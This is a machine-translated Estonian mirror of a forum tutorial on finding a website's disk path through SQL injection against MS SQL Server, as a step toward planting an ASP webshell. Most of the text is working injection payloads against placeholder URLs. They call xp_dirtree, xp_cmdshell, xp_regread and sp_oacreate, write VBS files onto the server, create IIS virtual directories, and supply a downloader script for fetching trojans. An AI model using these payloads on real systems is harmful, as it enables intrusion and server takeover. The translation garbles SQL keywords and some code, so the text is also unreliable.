See artikkel on masintõlke peegelartikkel, palun klõpsake siia, et hüpata algse artikli juurde.

Vaade: 11906|Vastuse: 0

[Ohutusõpetus] SQL-süstimine täieliku veebisaidi tee saamiseks

[Kopeeri link]
Postitatud 07.02.2015 22:19:16 | | |
SQL-süstimine täieliku veebisaidi tee saamiseks

Kui veebilehel on ainult 80 porti, on järgmised meetodid kasulikumad
Peaaegu kõik selles kasutatud meetodid ei ole need, mida ma avastasin, ning artikkel sisaldab alati isiklikke kogemusi ja oskusi süstimisel
On 4 meetodit (nüüd teada)

Esimene meetod:

See on <怪异的SQL注入>meetod, mis tutvustati < >
Kasutades sqlserveri xp_dirtree, räägime esmalt meetodist ja seejärel selle eelistest ja puudustest (mõned täiendused on tehtud originaalteksti põhjal)

Loo tabelid

Avaldus:http://www.xxxxx.com/down/list.asp?id=1;create  Tabeli dirs(Paths Varchar(1000))--
Tagasi: Tavaline info! See tähendab, et tabel on edukalt loodud! Jätka!
(Ehitatud on natuke suurem kui originaal, sest olen sattunud pika nimega faili ja kustutasin id, kuna see on kasutu)

Avaldus:http://www.xxxxx.com/down/list.asp?id=1;insert  režissöör master.dbo.xp_dirtree 'c:\' --
Tagastused: Tavaline info. See tähendab, et kõik C-kettale kirjutatud kataloogid on edukad! Lahe! Järgmine samm on saada mõõtur! Riku seda ja tule välja. (Tundub, et selleks on ainult üks viis)

Avaldus:http://www.xxxxx.com/down/list.asp?id=1  ja 0<>(vali DIRS-ist Top 1 rajad)-
Tagastab: Microsoft OLE DB Provider for SQL Server viga 80040e07
Süntaksiviga tekib, kui varchar väärtus '@Inetpub' teisendatakse veeruks, mille andmetüüp on int.

Siis ilmuvad tabelis olevad katalooginimed omakorda välja!

Avaldus:http:// http://www.xxxxx.com/down/list.asp?id=1  ja 0<>(vali top 1 teed
dirs, kus rajad ei ole ('@Inetpub')))--
Tagastab: Microsoft OLE DB Provider for SQL Server viga 80040e07
Süntaksiviga tekkis, kui varchar väärtus 'test' teisendati veeruks, mille andmetüüp on int.

Siis ilmuvad tabelis olevad katalooginimed omakorda välja!
Olgu, jätkame

Avaldus:http:// http://www.xxxxx.com/down/list.asp?id=1  ja 0<>(vali top 1 teed
dirs, kus teed ei ole sees ( '@Inetpub','test'))--
Tagastab: Microsoft OLE DB Provider for SQL Server viga 80040e07
Süntaksiviga tekib, kui varchar väärtus 'haha' teisendatakse veeruks, mille andmetüüp on int.

Siis ilmuvad tabelis olevad katalooginimed omakorda välja!

Okei, sa peaksid teadma, kuidas seda teha, haha, lihtsalt lisa tabeli nimi sulgudesse, pane nii palju kui tahad,

Väike nipp:

Mõnikord leiad, et kui sisend on sarnane

http://www.xxxxx.com/down/list.asp?id=1  ja 0<>(vali DIRS-ist Top 1 rajad)-

Veebileht kuvatakse vea asemel tavapäraselt
Pearinglus, ära ole närvis
Vaata 0<> (vali dirsist top 1 teed), et näidata, et tagasitulek on number,
Haha, proovi ja vaata, kui palju see maksab

100>(vali DIRS-ist top 1 rajad)

Tagasi normaalseks
Haha, selle meetodiga saab kiiresti arvata, kas see on suurem või vähem
Olgu, jätkame
Näiteks, kui see ilmub

59=(vali DIRS-ist Top 1 rajad)

Tagasi normaalseks,
Olgu, nimi on 59
Sisesta järgmiselt

http:// http://www.xxxxx.com/down/list.asp?id=1  ja 0<>(vali top 1 teed
Dirs, kus teed ei ole ('59'))--

Pea meeles panna jutumärke
Järgmine meetod on sama mis algne
On ka probleem
Mõnikord, kui sisestan 59 ülaltoodud meetodiga, leian, et järgmine kaust on ikka 59
Mis toimub?
Hehe, ma ei tea, kas oled märganud, et 059 ja 59 on samad?
Sellepärast haha,

http:// http://www.xxxxx.com/down/list.asp?id=1  ja 0<>(vali top 1 teed
Dirs, kus rajad pole sisse ('059'))--

Leidsin, et järgmise kausta nimi kuvatakse – okei

Eeliste ja puuduste analüüs:

Eeliseks on see, et kõik sqlserveri kasutajad saavad seda kasutada, sest xp_dirtree rakendab õigust AVALIK,
Puuduseks on see, et see kuvab kõigi kaustade nimesid kataloogis ja nende paigutus tundub olevat ebajärjekorras, lühidalt öeldes on valus leida soovitud kausta tuhandetest või kümnetest tuhandetest kaustadest.
Ja sa tead, et selle kausta olemasolu ei ole garanteeritult juurkaustas, mis on tõesti valus asi, tihti sõltub see õnnest ja vastupidavusest.
Soovin sulle edu

Meetod 2:

Kasuta xp_cmdshell

Haha, kõik peavad sellega tuttavad olema, las ma ütlen lühidalt

Loo tabelid

Avaldus:http://www.xxxxx.com/down/list.asp?id=1;create  Tabeli dirs(Paths Varchar(1000))--
Tagasi: Tavaline info! See tähendab, et tabel on edukalt loodud! Jätka!
(Ehitatud on veidi suurem kui originaal, sest olen sattunud pika nimega faili ja kustutasin selle id, kuna see on kasutu.)

Avaldus:http://www.xxxxx.com/down/list.asp?id=1;insertrežissöör master.dbo.xp_cmdshell 'direktor c:\ /B/D' --
Tagastused: Tavaline info. See tähendab, et kõik C-kettale kirjutatud kataloogid on edukad! dir c:\ /B/D on siin kasutusel, haha, kui sa ei tea, mida /B/D teeb, proovi vaadata, mida see teeb

Avaldus:http://www.xxxxx.com/down/list.asp?id=1  ja 0<>(vali DIRS-ist Top 1 rajad)-
Tagastab: Microsoft OLE DB Provider for SQL Server viga 80040e07
Süntaksiviga tekib, kui varchar väärtus '@Inetpub' teisendatakse veeruks, mille andmetüüp on int.

Siis ilmuvad tabelis olevad katalooginimed omakorda välja!

Avaldus:http:// http://www.xxxxx.com/down/list.asp?id=1  ja 0<>(vali top 1 teed
dirs, kus rajad ei ole ('@Inetpub')))--
Tagastab: Microsoft OLE DB Provider for SQL Server viga 80040e07
Süntaksiviga tekkis, kui varchar väärtus 'test' teisendati veeruks, mille andmetüüp on int.

Siis ilmuvad tabelis olevad katalooginimed omakorda välja!

Meetod on sama mis eelpool, seega ma ei hakka sellest rääkima

Mõnikord saame teha midagi ka järgmiste kahe laiendusega

1) Saame kasutada xp_availablemedia, et saada kõik praegused kettad ja salvestada need dirs tabelisse:

5 ; lisa DIRS Exec master.dbo.xp_availablemedia; --

Saame ketaste nimekirja ja nendega seotud infot, pärides ajutise sisu kohta

(2) Saame kasutada xp_subdirs, et saada alamkataloogide nimekiri ja salvestada need dirs-tabelisse:

5 ; sisesta DIRS-i täitev master.dbo.xp_subdirs 'c:\' ; --

Eeliste ja puuduste analüüs:

Ilmselgelt ei xp_dirtree see olukorda, kus kõik kataloogid on kokku pandud, kuvatakse ainult esimese taseme kataloog, mis on palju lihtsam leida.
Puudused on samuti ilmsed, ainult SA-l on see õigus ning on võimalik, et administraator kustutas selle laienduse (lõppude lõpuks on see liiga võimas).

Meetod 3:

See lähenemine on hea
Järgmine on originaaltekst
Mõtlesin kasutada adsutil.vbs programmi, mille käivitasin

a'; Täitevmeister.. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt'; --

Kas see pole pikk aeg? Selle kaudu saame luua esimese virtuaalse veebilehe IIS-is (sh muidugi ka kataloogi, kus see asub)
Impordi a.txt
Vaikimisi on a.txt tegeliku asukoha jaoks muidugi c:\winnt\system32, mis tegelikult probleemiks ei ole, kuid kui kohtad administraatorit, kes seab adsutil.vbs
Kustuta või pane see mujale
Me ei saa selle vastu midagi teha (sa ei saa ise kirjutada kaja käsuga)

2. samm: Kasuta echo-käsku, et kirjutada järgmine kood c:\-sse, mis pole palju

..... xp_cmdshell 'echo set fso1=createobject("scripting.filesystemobject">c:\read.vbs'; --
..... xp_cmdshell 'echo Set WshShell = Wscript.createObject("Wscript.Shell">>c:\read.vbs'
; --
.....
-------------------read.vbs---------------------------------
seadmine fso1=createobject("scripting.filesystemobject"
Sea WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir"
set fil =fso1.opentextfile(spa & "\system32\aa.txt"
tee siis, kui ei ole fil.atendofstream
nr=fil.readline
if left(nr,4)="Path" siis
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Väljumine
lõpp kui
Loop
set fil1 =fso1.opentextfile(pa &"\dd.asp",2,true)
fil1.writeline ""
---------------lõika siit-------------------------------------

3. samm: Loomulikult tuleb käivitada read.vbs, et saaksime aa.txt sisu lugeda ja leida veebisaidi tegeliku tee
Seejärel kirjuta veebilehe juurkaustas fail nimega dd.asp ja saad teada, kas suudad seda edukalt proovida
Käivitahttp://x.x.x.x/dd.asp
Tagasitulekud: \xxx
Haha, see on hea viis,
Siiski tundub, et originaaltekstil on mõningaid probleeme
On küll

set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
set fil1 =fso1.opentextfile(pa%2B"\dd.asp",2,true)

Viga tekib, kui esitatakse kaks lauset
Nii et me mõtlesime välja plussmärgi, millel on sama funktsioon nagu &
Ja millest dd.asp kirjutada? Kirjuta pa-le, haha
Haha, ma muutsin selle

-------------------read.vbs---------------------------------
seadmine fso1=createobject("scripting.filesystemobject"
Sea WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir"
set fil =fso1.opentextfile(spa "\system32\aa.txt"
tee siis, kui ei ole fil.atendofstream
nr=fil.readline
if left(nr,4)="Path" siis
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Väljumine
lõpp kui
Loop
set fil1 =fso1.opentextfile(pa "\dd.asp",2,true)
fil1.writeline PA
---------------lõika siit--------------------------------------
Kuna ajanumber teisendatakse brauseris esitamisel tühikuks, tuleks määrata ka
See muutub %2B-ks, okei, kõik peaks korras olema, nagu järgnevalt
-------------------read.vbs---------------------------------
seadmine fso1=createobject("scripting.filesystemobject"
Sea WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir"
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
tee siis, kui ei ole fil.atendofstream
nr=fil.readline
if left(nr,4)="Path" siis
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Väljumine
lõpp kui
Loop
set fil1 =fso1.opentextfile(pa %2B "\dd.asp",2,true)
fil1.writeline PA
---------------lõika siit--------------------------------------

Kui leiame, et 1 puudub, võime saada 2, 3, 4...........

a'; Täitevmeister.. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt'; --

Aga seda meetodit saab kasutada ainult Windows 2000 all, sest 2003. aasta alla loodud uute veebilehtede aadressid ei ole järjestatud vastavalt 1234-le, see tundub olevat juhuslikult genereeritud ning olen võrrelnud mitut 2003. aasta alla
aadress, ei leitud ühtegisust.

Eeliste ja puuduste analüüs:

Sama xp_cmdshell Mitte iga kasutaja ei saa seda kasutada! Teine probleem on see, et adsutili fail ei pruugi eksisteerida või ei pruugi olla selles teekonnas, kuigi seda saab kasutada, kui soovid
Echo kirjutab ühe (haha, vana ja vana), ja teine küsimus on, mis siis, kui hostis on palju saite? Olen kohtunud peremehega, kellel on üheksa asukohta, ja ainult kaheksas on kasulik
Jah, nõrk, kellelgi on raske kannatust nii palju vastu pidada, võib-olla on see ammu kokku varisenud. Samuti ei saa seda kasutada 2003. aastal!
Aga ausalt öeldes on see meetod tõesti hea meetod

Meetod 4:

See meetod on lugeda teed registrist läbi xp_regread jne
Veebilehe tee saamiseks soovitatakse järgmist (lugeda registrit salvestatud protseduuride kaudu):
Kasuta sisseehitatud salvestatud protseduuri xp_regread (loe registrivõtit, luba avalik):

Väide: http://www.xxx.com/list.asp?classid=1; create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) deklareeri@test
Varchar(20) täitevmeister.. xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=
SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , values=@test OUTPUT sisesta teedele
(tee) väärtused(@test)

IIS-i vaiketee registris HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\
Kasuta burst-välja, et lugeda andmebaasi väärtust:

Väide: http://www.xxx.com/list.asp?classid=1 ja 0<>(vali top 1 teed newtable'ist)--return: Microsoft OLE DB Provider for
ODBC draiverite viga 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server] teisendab varchar väärtuse E:\www,,201 int andmetüübiks
veerg.

See tähendab, et veebilehe kataloog asub E:\www-s ning FSO-d saab kasutada ka otse ASP troojale kirjutamiseks
Mis siis, kui sa ei saa veebikataloogi? Pead arvama, kas veebileht kasutab vaikimisi WEB-i või domeeninime.

declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\mkwebdir.vbs -w "vaikimisi veebileht" -v "e","e:\"'

Loo virtuaalne kataloog E vaikimisi VEEBILEHE all, osutades E: ketta all.

declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e browse'

Hea on lisada sirvimise atribuutid virtuaalsesse kataloogile e. Ava endale virtuaalne teenus. Mõeldes nendele veebilehe kataloogiradadele, on mu pea peaaegu katki. Nüüd avasin silmad. See on WEBSHELL, mis kasutab MS-i
SQL on meie töö lõpp ja järgmine töö peaks olema sinu oma.
Haha, meetod on hea, loe see läbi registreerimisvormi, mugav ja kiire!

Eeliste ja puuduste analüüs:

Eeliseks on muidugi see, et see on mugav ja kiire. Miinus on see, et näed ainult vaikimisi IIS-i saidi teed, ja kui see pole enam vaikimisi sait, siis pole midagi teha (jälgisin seda regsnape'iga), kui see on alla 2003.
See tähendab, et isegi vaikimisi saidi rada ei kuvata! Valus

Muide, tegelikult on ka muid viise sissetungi jätkamiseks peale veebisaidi tee leidmise, näiteks bounce-trooja üleslaadimine tftp kaudu või iget.vbs kirjutamine, et soovitud dongdong alla laadida
iget.vbs kood on järgmine:

---------alusta----------
Set xPost = createObject("Microsoft.XMLHTTP"
xPost.Open "GET",LCase(WScript.Arguments(0),0
xPost.Send()
Set sGet = createObject("ADODB. Stream"
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile LCase(WScript.Arguments(1)),2
----------lõpp-----------

Selle artikli lisa:

Hiljuti avastasin, et minu arusaam esimees Mao juhistest ei olnud piisavalt sügav, ja tahaksin siia lisada
Tegelikult ei pea ülaltoodud meetodeid üldse võrdlema xp_dirtree need on parimad, kui see üks meetod on piisav
See oli lihtsalt sellepärast, et olin liiga ..............
Täna kaevan xp_dirtree saladuse uuesti välja
Olgu, lähme juhtima: xp_dirtree'd:/test'
Oletame, et meil on testis kaks kausta, test1 ja test2, ning test3 test1-s
Tulemused näitavad

alamkataloogi sügavus
test1 1
test3 2
test2 1

Haha, ma avastasin, et kataloogi seerias pole sügavust
Okei, tea, mida teha

http://www.xxxxx.com/down/list.asp?id=1;create  tabel dirs(paths varchar(1000),id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert  Režissöör master.dbo.xp_dirtree 'D:\' --
http://www.xxxxx.com/down/list.asp?id=1  ja 0<>(vali dirs-ist top 1 teed, kus id=1)-

Kui id=1 lisatakse, on see esimese taseme kataloog.





Eelmine:Intrusiooni tungimine: HTTP päiste rakendamine
Järgmine:Alipay ülekande ekraanipildid genereeritakse ühe klikiga
Disclaimer:
Kõik Code Farmer Networki poolt avaldatud tarkvara, programmeerimismaterjalid või artiklid on mõeldud ainult õppimiseks ja uurimistööks; Ülaltoodud sisu ei tohi kasutada ärilistel ega ebaseaduslikel eesmärkidel, vastasel juhul kannavad kasutajad kõik tagajärjed. Selle saidi info pärineb internetist ning autoriõiguste vaidlused ei ole selle saidiga seotud. Ülaltoodud sisu tuleb oma arvutist täielikult kustutada 24 tunni jooksul pärast allalaadimist. Kui sulle programm meeldib, palun toeta originaaltarkvara, osta registreerimist ja saa paremaid ehtsaid teenuseid. Kui esineb rikkumist, palun võtke meiega ühendust e-posti teel.

Mail To:help@itsvse.com